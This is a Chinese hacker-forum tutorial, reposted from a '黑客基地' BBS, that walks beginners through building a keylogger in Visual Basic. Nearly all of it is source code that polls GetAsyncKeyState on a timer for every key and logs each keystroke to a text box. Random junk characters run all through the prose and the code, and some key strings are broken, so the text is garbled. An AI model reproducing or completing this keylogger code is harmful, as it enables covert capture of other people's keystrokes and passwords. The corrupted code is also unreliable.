手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 % k- I2 p1 u ^1 B. M版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 8 I, ]8 Y- b! K' a; q对新人没什么用处，所以且这篇我会写的 $ r6 D; A2 e) A- _7 J# @! K很详细，再也不像那篇，出了代码什么也没 ^!^ 7 b' S6 A3 t+ S$ }1 ]6 [这个程序将会详细的讲解如何记载键盘的每一次输入。 ! r0 i' g* r' J1 x下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 0 W M$ j: T# q7 rPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 ' X5 `; N$ X) Xfirst,当然是创建窗口了 & ^& l2 F3 @7 c+ z 在时间控件的Timer时间中定义检查按键类型，代码如下： . ^2 B* g2 d5 bDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 7 c6 M+ Y; p0 w# P( O: p If KeyResult = -32767 Then 2 n. m" [) c: @! V AddKey = "[CTRL]" 7 n* S6 T: g1 _, p$ w GoTo KeyFound End If 5 q" n) W. ?' S& _' N5 {) ^; A KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" , q1 A, `$ I4 q4 P3 u; z2 Y/ V GoTo KeyFound 2 ^/ a' I9 m0 L End If KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then : }$ W2 Q- u) @4 _' {7 G4 q AddKey = "[TAB]" ( j. d) S8 E: R7 g: t) Z" @8 S GoTo KeyFound End If KeyResult = GetAsyncKeyState(18) , y5 h) W, C( h% n! o1 i If KeyResult = -32767 Then AddKey = "[ALT]" 5 h6 E- W' y5 f3 h. ?% ?* v GoTo KeyFound End If - o6 c2 N9 j6 p# G( a2 ~ KeyResult = GetAsyncKeyState(19) $ i6 E; Z: d" d4 D* O! M3 ~ If KeyResult = -32767 Then " C/ Q: c5 ]( c0 ?9 f AddKey = "[PAUSE]" % k& Q( @6 B, m5 U% S- o/ A" e GoTo KeyFound : l6 t# o. V9 Y3 d9 ]$ F6 b End If 5 N& p8 Q) [! _& f KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then : V8 I) b6 H. A0 F- o0 U% Y2 i: Z: { AddKey = "[CAPS]" GoTo KeyFound End If 8 p% u1 c3 P5 j' R+ M- ]+ e 0 p. m% u/ ?7 ]0 [ KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound ( F# ~8 S$ z( ~1 L End If 7 h( O+ U' }" Z KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then . h) K" x' D5 x AddKey = "[PGUP]" GoTo KeyFound ) R, V" A4 ~. J- N6 r {$ S+ x. r End If " n* w" W4 H$ F O KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then 9 t' u4 Q2 V+ M" |3 P+ W6 } AddKey = "[PGDN]" 9 P; ^* y$ w0 n GoTo KeyFound End If 7 c3 G: I" ~9 k1 S0 z+ ?: b v KeyResult = GetAsyncKeyState(35) % C$ L* a1 ?* u8 G. z& x$ \ If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound End If 0 k3 A' q/ c4 K- C 8 |* N& F: S# W KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then / H, _# p: Z% s, j) q AddKey = "[HOME]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" 0 A4 Q2 Y& t N/ C, F9 O- t8 v- z9 @ GoTo KeyFound End If L6 `' v) k' F7 c: f( j$ `& R 8 J# W& Q% k: u/ X KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then % q+ |- H/ c: X. F8 Z AddKey = "[INS]" GoTo KeyFound End If : P4 |' w( v" T3 [9 ~6 }5 q # A; Z4 w' {7 c KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]" : I0 J8 {3 s$ o; R( {2 k GoTo KeyFound % X6 Y7 T& b" M9 T9 @2 X- _ End If - r; c2 |. L. ]! h V KeyResult = GetAsyncKeyState(144) ( G! M/ [2 \) z If KeyResult = -32767 Then $ D! u/ l" L0 [1 \3 r# ?; F- ^ AddKey = "[NUM]" : T O1 K; z- B7 J* w GoTo KeyFound End If - W$ x/ `1 d/ g. ^* e : Y+ H: Y) Z9 Q KeyResult = GetAsyncKeyState(37) : N4 _ {, |4 U2 K6 Q1 l' ] If KeyResult = -32767 Then * g% V! N; u7 j; _: X AddKey = "

" / I0 r( R" J. P1 q+ v3 _) F/ E' V* i GoTo KeyFound $ t! i \9 \4 H2 x1 k End If " n: J1 q8 d1 Z: | KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then + x" Q9 w* m$ z/ x: M" \, R AddKey = "[UP]" ) c5 L, [& u* \7 f9 I. i" E GoTo KeyFound ; R8 Z0 J- G* D4 _ End If + ]' j% _3 \. \1 X3 {5 @/ l; T KeyResult = GetAsyncKeyState(39) " W! ~. Y# u( H4 ~9 S, z0 I If KeyResult = -32767 Then " x2 k6 @/ z) k5 M- P, j# x' g5 I AddKey = "

" GoTo KeyFound End If : R- E8 N$ ]' z# j8 b* w2 ~ KeyResult = GetAsyncKeyState(40) ' [+ N% r2 }! n! C0 u9 u If KeyResult = -32767 Then : U4 n! g4 P/ B8 F R AddKey = "[DOWN]" 0 d6 P( Q7 \. X6 s/ ~ GoTo KeyFound " S! j: A9 E! W' g0 F& {- t0 q7 Z; Z End If 3 R6 R1 R2 c2 `( I! }0 { & I; n. D6 b. A4 U; t. d + k {0 A! R) } - E+ t/ J% E, j; ` m8 EKeyResult = GetAsyncKeyState(112) % ?- p3 o; r) n- F i If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If 6 V7 b# X! [& E% W: Q) {! [KeyResult = GetAsyncKeyState(113) ' i- r2 E- E( _- ?. ?4 Z% |: u& p( @ If KeyResult = -32767 Then AddKey = "[F2]" * X- c+ t; l) s' }* P9 D! _5 B6 h GoTo KeyFound + H" N# |; r* F- ], v% C End If . p: _8 p4 I" F' ?8 M" w+ J ! j; e- ^* Q7 q, E7 @5 aKeyResult = GetAsyncKeyState(114) 3 {5 a3 K& O" o4 A2 k9 ?0 p( {/ r If KeyResult = -32767 Then , W3 x' ] d" W# U* f7 Z AddKey = "[F3]" : G' T- ~) w% X9 I GoTo KeyFound & {9 a0 D- ^4 M4 T3 V1 z* g End If KeyResult = GetAsyncKeyState(115) ' c: X5 c# l5 G2 {- ] r, t( D If KeyResult = -32767 Then . |( H) P* u: M2 o% [ j/ i AddKey = "[F4]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]" , V. x3 r( A, s5 @9 M! f GoTo KeyFound ) I+ }. @# j; t" h; x% g) _( k End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then 9 Y- }6 W# @: K$ L5 g AddKey = "[F6]" . O: v3 q) s2 m GoTo KeyFound 3 ]3 F. ?/ B1 Q8 T6 s4 z A End If $ c# D1 `. O4 W$ w0 j D, @KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" 6 m* f/ I8 e( U. E GoTo KeyFound End If 3 R4 E" n9 ^' r7 L8 U8 Z " j& N" x, }$ a M& PKeyResult = GetAsyncKeyState(119) - N9 Y! k5 @" e7 ?9 F If KeyResult = -32767 Then AddKey = "[F8]" 6 M: B5 c2 h7 s: D# M GoTo KeyFound End If * o1 a# \ _+ d% X, N' R KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then * }8 |1 [. M1 }& o AddKey = "[F9]" GoTo KeyFound ' O! J& h; S# R5 L/ C5 j d End If ( d# T. Z+ P! U( ^1 g- FKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" 0 f& _. x, ^) t) v, h GoTo KeyFound ; j; v* V) m# m8 A" M* d End If " O+ M" p6 k U0 @ KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 0 |) V0 O$ ~4 Z$ q! O AddKey = "[F11]" 3 J! l0 C: |; V5 ~7 ?% \& c GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) ! g" l I# v! X; K' n9 {- I9 g0 c If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(124) 2 g) {9 X, Y8 H6 w% k5 k } If KeyResult = -32767 Then AddKey = "[F13]" % ?" L0 }; V% ~: Z" A5 M$ { GoTo KeyFound End If ' m2 s( O! h6 K! x, c8 d* _ KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" 2 n' r& ]5 A# Q7 [ GoTo KeyFound End If : ?2 z+ O2 G- U% I KeyResult = GetAsyncKeyState(126) # E" _1 W M4 O- } If KeyResult = -32767 Then 3 F/ w% A6 }& j4 o: E. g. x AddKey = "[F15]" 4 s* M9 r2 g& D1 \: M0 U' w! P3 N GoTo KeyFound End If ) w7 [- W; s! S ( Y8 s5 n5 t! o8 ZKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then & s) I! ~6 n/ E+ J7 H AddKey = "[F16]" ; R' `, i/ d7 l9 O GoTo KeyFound End If 6 U0 j- ]- z3 s) n % E. x: z5 S1 \KeyResult = GetAsyncKeyState(32) - u' o* Q# n, R4 J- Q; `+ ] If KeyResult = -32767 Then AddKey = " " GoTo KeyFound End If l% t" o# k( Z/ y/ L! ` 6 O, \/ `6 G# W# X- v; Z; W8 _- Y) MKeyResult = GetAsyncKeyState(186) ! ]: O8 [& s) \ If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound End If + ]- K: W5 I- j2 [KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then 4 G P; P0 W6 e; K! y AddKey = "=" GoTo KeyFound ' }' P% q$ |( p; n4 L End If 8 N# t$ }6 ]+ c" j5 I2 r6 ~6 V* L2 z9 u KeyResult = GetAsyncKeyState(188) 4 W- z+ j0 z) i y4 m: t If KeyResult = -32767 Then AddKey = "," GoTo KeyFound ( n9 F3 Q1 k: J. c, | z End If ' c" U1 ]- e4 R) B8 G( yKeyResult = GetAsyncKeyState(189) 1 `7 N \1 X' t( [+ Y7 c- H If KeyResult = -32767 Then & Y: T# {( L9 _0 g AddKey = "-" e$ x! B4 f" R+ P# G( i GoTo KeyFound $ \( E) ~, f8 t4 R. z7 H End If KeyResult = GetAsyncKeyState(190) % N* E( ]9 s; p! V, v If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If 5 U3 a( V: ?' B6 L" A5 lKeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then AddKey = "/" '/ GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then " x4 h! y) b7 z* n" U7 y: h* s5 c AddKey = "`" '` GoTo KeyFound # h5 {) h# V! U x; E End If 7 Z/ i9 T1 ? _. B+ ^, Z1 i# V 9 _7 D; y* a; }% h3 G9 x '----------NUM PAD . q! E* ~- N) P6 v, q2 ~KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then 4 U: I) F* ?8 R9 F7 }& N0 r AddKey = "0" GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) 1 T; F! W8 g( q4 V If KeyResult = -32767 Then AddKey = "1" GoTo KeyFound End If 1 G, x E. o3 ^9 T$ p # M/ E J T( _% G% X) D+ }9 GKeyResult = GetAsyncKeyState(98) 5 g* h4 V5 u7 O" M h4 i4 t- M If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound End If ; {6 ], y9 R# H4 j ( A; h3 @) a B) @0 Z- u9 Z6 EKeyResult = GetAsyncKeyState(99) : Q: h2 @! N2 A* c, q' T If KeyResult = -32767 Then 1 A4 R3 a( O* w0 H7 }+ _7 W AddKey = "3" & F% E8 s! f/ P& f3 Z9 F! G% D& P GoTo KeyFound G- H4 B5 @5 } End If 4 j( B7 p/ }0 I {; M/ b" E7 O KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then ) Z$ W* V% Q3 j& k: r# q+ I AddKey = "4" 3 l( r$ U) V9 X! _! [% ?2 U- T3 r GoTo KeyFound + c" I2 V/ W5 W; A) y$ d2 ~ End If 1 Q- x8 j* i3 H" ~+ G; | KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound 5 l8 J/ q* @6 ~* T' ?2 x End If 9 v% K2 F9 i R; r1 G6 n, ~# i* LKeyResult = GetAsyncKeyState(102) " j9 ?; G; V# {' c' n. K8 P8 |* q8 U& ? If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound * u/ t# _* E! I9 S End If KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7" 4 H! I& b: X: w GoTo KeyFound End If KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound % m: } P. S* ?/ f8 C End If & N- _! x I c2 }4 | T6 E3 Y ( }' R' D0 ^. e1 m9 { {KeyResult = GetAsyncKeyState(105) % p0 L7 h4 d/ u! G If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound 5 ^) S. {3 u# w) v0 X End If 7 D9 U6 a5 D9 A$ m8 [ w0 l* Q" W $ C3 D4 M5 ^- \+ Z+ vKeyResult = GetAsyncKeyState(106) ) G! h0 q1 @! o9 P If KeyResult = -32767 Then AddKey = "*" GoTo KeyFound 2 m$ j6 p: A8 j- z2 q End If 1 @+ a" Z d3 C. @ E! L KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+" GoTo KeyFound - i$ l2 W/ [, @, ]- h! S0 E End If KeyResult = GetAsyncKeyState(108) 1 W9 `4 z' N/ X3 a4 E7 p) r% O If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If - u1 m" {- N% N" O$ l; a KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" $ U: [3 X6 B0 v8 n, c' c& r5 S GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then ) F/ F+ k1 Q* ?# ]' x4 K AddKey = "." GoTo KeyFound ! N- h4 C* \4 [- g End If ) }, @( b( g5 S; o& _9 ?% ]6 X KeyResult = GetAsyncKeyState(2) ! T5 O4 ^1 Z2 ?) |7 x1 N If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If & v0 f m& `2 v+ D6 S& _0 B. {KeyResult = GetAsyncKeyState(220) $ {& A2 l6 U8 t- i5 S# s+ U If KeyResult = -32767 Then & W7 e6 N5 Q. n: v5 ^ AddKey = "\" % s' x3 F' I" }+ `! P0 ] GoTo KeyFound End If KeyResult = GetAsyncKeyState(222) 8 a" I8 |' Q( ` G) Y If KeyResult = -32767 Then 6 O9 r- ?: r6 k8 B5 R AddKey = "'" GoTo KeyFound ( h t) V) u8 u1 P End If 9 n2 n/ z9 g" {# f/ x& ^8 x 9 v' z1 C9 Z& ~6 ~$ e' |! vKeyResult = GetAsyncKeyState(221) 2 F& b2 [. E4 o If KeyResult = -32767 Then AddKey = "]" : L+ A' B/ c4 q2 o. k2 E3 H5 c . J, i2 r1 L' z% ? GoTo KeyFound ! C Y' C$ Q/ H* B# y* V End If KeyResult = GetAsyncKeyState(219) " Y2 T; e, z) z0 }7 @4 c& P2 d If KeyResult = -32767 Then AddKey = "[" ' L. f. P+ a: U& N& L GoTo KeyFound ^" A0 @. n: L$ r, @+ [* Y% V0 F" c End If 6 t+ [% T* j8 i7 B 4 X# v) r0 S! ]" B( N3 Y% K4 jKeyResult = GetAsyncKeyState(16) 'shift键 + s; B; z" F& T R If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" LastKey = AddKey + P0 ]9 q f6 G5 w TimeOut = 1 GoTo KeyFound End If 8 s) U7 K0 c% ~ [. @& g KeyLoop = 41 " ^8 t0 U2 P+ \3 T1 `9 k Do Until KeyLoop = 256 ' 显示其他键 ! L% T! Z$ B) ]* g" G# A' I KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 3 ~- t4 Z) W( p5 e( ^ KeyLoop = KeyLoop + 1 Loop , m+ R5 `# J$ ?. ` LastKey = AddKey $ N! L/ |& ?2 Z Exit Sub ' C8 x9 ~0 s) p$ y3 ?0 a! FKeyFound: '显示键的信息 - S5 W1 X% k: C 3 L6 Q- \0 j! F; c8 A8 _8 I g# N% h0 QText1 = Text1 & AddKey End Sub 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 9 l$ R; x( X& B Q' \- Phttp://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 ) U$ v& H1 m: Y3 fPrivate Sub Timer2_Timer() TimeOut = 0 ; B) K7 I; M9 fEnd Sub ' W2 H% U5 V# n. R# Y, {" H& {目的是随时刷新清空 9 m- B# g4 q: H8 `6 i5 M9 {